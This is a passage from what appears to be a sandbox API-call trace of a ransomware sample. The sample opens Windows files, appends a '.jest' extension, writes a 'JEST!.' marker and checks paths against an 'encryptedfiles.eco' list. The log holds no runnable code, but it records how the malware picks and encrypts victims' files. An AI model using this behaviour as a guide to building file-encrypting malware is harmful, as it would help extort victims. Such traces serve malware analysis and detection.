() [0120.877] GetTickCount () returned 0x1150e44 [0120.877] IsWindowVisible (hWnd=0x30268) returned 0 [0120.877] Sleep (dwMilliseconds=0x0) [0120.877] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.877] CoFreeUnusedLibraries () [0120.877] GetTickCount () returned 0x1150e53 [0120.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.877] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.877] CoFreeUnusedLibraries () [0120.877] GetTickCount () returned 0x1150e53 [0120.878] IsWindowVisible (hWnd=0x30268) returned 0 [0120.878] Sleep (dwMilliseconds=0x0) [0120.878] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.878] CoFreeUnusedLibraries () [0120.878] GetTickCount () returned 0x1150e53 [0120.878] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.878] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.878] CoFreeUnusedLibraries () [0120.878] GetTickCount () returned 0x1150e53 [0120.878] IsWindowVisible (hWnd=0x30268) returned 0 [0120.878] Sleep (dwMilliseconds=0x0) [0120.878] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.878] CoFreeUnusedLibraries () [0120.878] GetTickCount () returned 0x1150e53 [0120.879] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.879] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.879] CoFreeUnusedLibraries () [0120.879] GetTickCount () returned 0x1150e53 [0120.879] IsWindowVisible (hWnd=0x30268) returned 0 [0120.879] Sleep (dwMilliseconds=0x0) [0120.879] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.879] CoFreeUnusedLibraries () [0120.879] GetTickCount () returned 0x1150e53 [0120.879] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.879] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.879] CoFreeUnusedLibraries () [0120.879] GetTickCount () returned 0x1150e53 [0120.879] IsWindowVisible (hWnd=0x30268) returned 0 [0120.879] Sleep (dwMilliseconds=0x0) [0120.880] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.880] CoFreeUnusedLibraries () [0120.880] GetTickCount () returned 0x1150e53 [0120.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.880] CoFreeUnusedLibraries () [0120.880] GetTickCount () returned 0x1150e53 [0120.880] IsWindowVisible (hWnd=0x30268) returned 0 [0120.880] Sleep (dwMilliseconds=0x0) [0120.880] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.880] CoFreeUnusedLibraries () [0120.880] GetTickCount () returned 0x1150e53 [0120.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.881] CoFreeUnusedLibraries () [0120.881] GetTickCount () returned 0x1150e53 [0120.881] IsWindowVisible (hWnd=0x30268) returned 0 [0120.881] Sleep (dwMilliseconds=0x0) [0120.881] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest", lpFilePart=0x18e870*="keypad.xml.jest") returned 0x50 [0120.881] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.881] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.881] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.881] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.881] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0120.882] GetFileType (hFile=0x328) returned 0x1 [0120.882] IMalloc:Alloc (This=0x767666bc, cb=0x8d) returned 0x14cd1d8 [0120.882] GetUserDefaultLCID () returned 0x409 [0120.882] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0120.882] SysStringLen (param_1="JEST!.") returned 0x6 [0120.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0120.882] SysStringLen (param_1="JEST!.") returned 0x6 [0120.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0120.883] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea3c | out: ppsaOut=0x18ea3c) returned 0x0 [0120.886] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x18e6d8*="keypad.xml") returned 0x4b [0120.886] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xc1, dwReserved1=0xfb003ac1, cFileName="keypad.xml", cAlternateFileName="")) returned 0x143ce48 [0120.886] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.887] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x18e780*="keypad.xml") returned 0x4b [0120.887] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.887] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.887] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.887] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.887] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.887] GetLastError () returned 0x5 [0120.887] GetLastError () returned 0x5 [0120.887] SetLastError (dwErrCode=0x5) [0120.887] GetLastError () returned 0x5 [0120.887] SetLastError (dwErrCode=0x5) [0120.887] GetLastError () returned 0x5 [0120.887] SetLastError (dwErrCode=0x5) [0120.887] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.888] GetLastError () returned 0x5 [0120.888] GetLastError () returned 0x5 [0120.888] SetLastError (dwErrCode=0x5) [0120.888] GetLastError () returned 0x5 [0120.888] SetLastError (dwErrCode=0x5) [0120.888] GetLastError () returned 0x5 [0120.888] SetLastError (dwErrCode=0x5) [0120.888] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0120.888] GetFileType (hFile=0x328) returned 0x1 [0120.888] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x1467b40 [0120.888] FlushFileBuffers (hFile=0x5) returned 0 [0120.889] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.890] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x18e780*="keypad.xml") returned 0x4b [0120.890] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.890] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.890] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.890] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.890] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 0 [0120.890] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.890] GetLastError () returned 0x5 [0120.890] GetLastError () returned 0x5 [0120.890] SetLastError (dwErrCode=0x5) [0120.890] GetLastError () returned 0x5 [0120.890] SetLastError (dwErrCode=0x5) [0120.890] GetLastError () returned 0x5 [0120.890] SetLastError (dwErrCode=0x5) [0120.891] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.891] GetLastError () returned 0x5 [0120.891] GetLastError () returned 0x5 [0120.891] SetLastError (dwErrCode=0x5) [0120.891] GetLastError () returned 0x5 [0120.891] SetLastError (dwErrCode=0x5) [0120.891] GetLastError () returned 0x5 [0120.891] SetLastError (dwErrCode=0x5) [0120.891] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0120.891] GetFileType (hFile=0x32c) returned 0x1 [0120.891] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x1466360 [0120.891] FlushFileBuffers (hFile=0x6) returned 0 [0120.892] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.892] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x228)) [0120.892] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0120.892] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x228)) [0120.892] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x228)) [0120.892] GetUserDefaultLCID () returned 0x409 [0120.892] VarBstrFromR4 (in: fltIn=0x479442c7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.55") returned 0x0 [0120.892] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x18e780*="keypad.xml") returned 0x4b [0120.893] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.893] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.893] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.893] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.893] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 0 [0120.893] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 0 [0120.893] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.893] GetLastError () returned 0x5 [0120.893] GetLastError () returned 0x5 [0120.893] SetLastError (dwErrCode=0x5) [0120.893] GetLastError () returned 0x5 [0120.893] SetLastError (dwErrCode=0x5) [0120.893] GetLastError () returned 0x5 [0120.894] SetLastError (dwErrCode=0x5) [0120.894] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.894] GetLastError () returned 0x5 [0120.894] GetLastError () returned 0x5 [0120.894] SetLastError (dwErrCode=0x5) [0120.894] GetLastError () returned 0x5 [0120.894] SetLastError (dwErrCode=0x5) [0120.894] GetLastError () returned 0x5 [0120.894] SetLastError (dwErrCode=0x5) [0120.894] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0120.894] GetFileType (hFile=0x330) returned 0x1 [0120.894] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x14663f0 [0120.894] FlushFileBuffers (hFile=0x7) returned 0 [0120.895] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.895] GetCurrentProcessId () returned 0x9e0 [0120.895] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.895] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.895] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0120.895] CoFreeUnusedLibraries () [0120.895] GetTickCount () returned 0x1150e63 [0120.895] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.895] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.895] CoFreeUnusedLibraries () [0120.895] GetTickCount () returned 0x1150e63 [0120.895] IsWindowVisible (hWnd=0x30268) returned 0 [0120.895] Sleep (dwMilliseconds=0x0) [0120.896] GetFullPathNameA (in: lpFileName="BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpFilePart=0x18e708*="BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp") returned 0x8f [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.896] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchWideChar=-1, lpMultiByteStr=0x18e710, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.896] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x18e708*="keypad.xml") returned 0x4b [0120.896] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.897] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.897] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.897] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.897] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 0 [0120.897] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpUsedDefaultChar=0x0) returned 106 [0120.897] GetFullPathNameA (in: lpFileName="BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpFilePart=0x18e6e4*="BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp") returned 0x8f [0120.897] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS 